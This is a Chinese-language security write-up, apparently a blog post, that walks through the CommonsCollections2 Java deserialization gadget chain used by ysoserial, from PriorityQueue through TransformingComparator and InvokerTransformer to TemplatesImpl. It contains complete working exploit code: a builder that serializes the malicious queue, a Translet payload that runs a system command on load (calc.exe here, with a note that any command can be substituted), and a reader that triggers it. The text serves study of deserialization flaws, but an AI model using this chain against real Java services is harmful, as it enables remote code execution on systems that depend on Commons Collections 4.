這篇主要分析commonCollections2,調用鏈以下圖所示:java
分析環境:jdk1.8.0apache
反序列化的入口點爲src.zip!/java/util/PriorityQueue.javajson
此時將會對隊列調用siftdown函數,其中隊列中包含了兩個元素,其中一個即爲templatesImpl惡意類函數
接下來調用siftDownUsingConparator函數測試
在這裏將調用TransformingComparator的compare函數,在這裏就到了新的漏洞觸發點,this.transformer.transform(),而這裏的this.transformer即爲invokerTransformer,this
在commoncollections1中第一次調用的是Lazymap的this.factory.transform,而這裏是priorityQueue.java的compare裏的this.transformer.transformspa
而invokeTransformer中將反射調用,templatesImple的newTranformer方法,之前分析fastjson1.2.24時候也用的是這個內置的TemplatesImple類,其有getoutputProperties也將調用newTransformer()3d
接着套路思路就是在newTransformer中實例化咱們的惡意字節碼中包含的類,從而調用其static代碼塊或者構造方法中的rce代碼code
分析完調用鏈之後看看ysoserial是如何構造payload的orm
首先建立TemplatesImpl實例
Class.forName加載三個須要用到的類,而後調用重載的TemplatesImpl來建立實例,這裏用到的技術是javassist操做類的字節碼
接下來要對咱們_bytecode字段所要存儲的惡意字節碼類進行操做,這裏首先將兩個類放到pool中
其中SubTransletpaylod就是存放rce代碼的類
接下來從pool中取出要操做的類,來操做其字節碼
接下來該類建立static代碼塊,而且加入rce的代碼,這裏的代碼能夠自定義,讀寫文件也能夠
而後給該類從新設置名字,其實這個能夠省略,接下來給該類設置父類爲tranlet,其實這裏也能夠不設置,payload類裏已經設置好了
以後將rce類的字節碼放到_bytecodes屬性中,再設置其餘依賴屬性_name和_tfactory便可返回templatesImpl類
接着定義須要反射調用的方法,這裏首先用tostring進行填充,後面再放入newtransformer,聲明要反序列化的隊列priorityQueue,容量爲2
而後反射設置invoketransformer的方法爲newtransformer來替換原來的tostring,而後再將queue中的兩個元素替換成templatesImpl類的實例,從而結束整個構造過程,所以構造分爲三步
1.構造用於執行rce的類
2.構造templatesImpl類的實例,將1中的類填充
3.將2中的類填充到priorityqueue隊列中,返回obj
exp.java
package CommonCollections2; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class exp { public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException { TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass clazz = pool.get(payload.class.getName()); final byte[] clazzByte = clazz.toBytecode(); //_bytecode爲private,須要設置可訪問 Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes"); _btcode.setAccessible(true); _btcode.set(tmp,new byte[][]{clazzByte}); //_name不爲空便可 Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(tmp,"tr1ple"); //_tfactory可爲空 Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory"); _tf.setAccessible(true); _tf.set(tmp,null); // //構造priorityqueue對象 // PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); //InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //調用該方法同樣的效果 //依賴collections4 TransformingComparator com = new TransformingComparator(trans); Field ComFi = PriorityQueue.class.getDeclaredField("comparator"); ComFi.setAccessible(true); ComFi.set(queue,com); Field qu = PriorityQueue.class.getDeclaredField("queue"); qu.setAccessible(true); Object[] objOutput = (Object[])qu.get(queue); objOutput[0] = tmp; objOutput[1] = 1; //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"); OutputStream out = new FileOutputStream(file); ObjectOutputStream obj = new ObjectOutputStream(out); obj.writeObject(queue); obj.close(); } }
payload.java
package CommonCollections2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import java.io.Serializable; public class payload extends AbstractTranslet implements Serializable { { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
readObj.java
package CommonCollections2; import java.io.*; public class readObj { public static void main(String[] args) { try { FileInputStream fio = new FileInputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser")); ObjectInputStream obj = new ObjectInputStream(fio); obj.readObject(); obj.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
以下圖所示,_bytecode中的類將被實例化,調用static代碼塊的代碼和構造函數中的代碼
整個調用鏈的重點是在對隊列元素排序時能夠自定義比較器進行轉換從而觸發反射調用隊列元素的成員方法,相對於cc1來講構造感受更精巧一點,這個內部TemplatesImpl類也是jdk內置的,攻擊效果也不受到jdk版本影響,只要cc4.0的依賴存在便可